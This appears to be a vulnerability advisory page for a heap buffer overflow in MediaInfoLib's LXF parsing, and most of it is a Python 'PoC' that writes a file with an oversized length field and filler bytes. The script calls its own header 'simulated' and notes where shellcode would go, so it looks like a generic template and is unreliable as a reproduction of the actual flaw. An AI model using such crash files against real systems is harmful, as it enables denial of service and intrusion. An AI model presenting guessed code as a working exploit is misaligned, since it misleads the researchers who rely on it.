MediaArea MediaInfoLib LXF element parsing heap-based buffer overflow vulnerability
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
MediaInfoLib (受影响版本请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# PoC generation for MediaInfoLib LXF Heap Buffer Overflow
# This script creates a malformed file with an oversized LXF element.
def generate_poc(filename):
with open(filename, 'wb') as f:
# Generic header (simulated)
f.write(b'LXF\x00')
# Malicious element length
# Triggering the overflow by setting a large size value
malicious_size = 0xFFFFFFFF
# Write size field
f.write(struct.pack('<I', malicious_size))
# Write payload (junk data to overflow the buffer)
# In a real exploit, this would contain shellcode or ROP chains
payload = b'A' * 0x1000
f.write(payload)
print(f"[+] PoC file generated: {filename}")
if __name__ == "__main__":
generate_poc("crash_lxf.bin")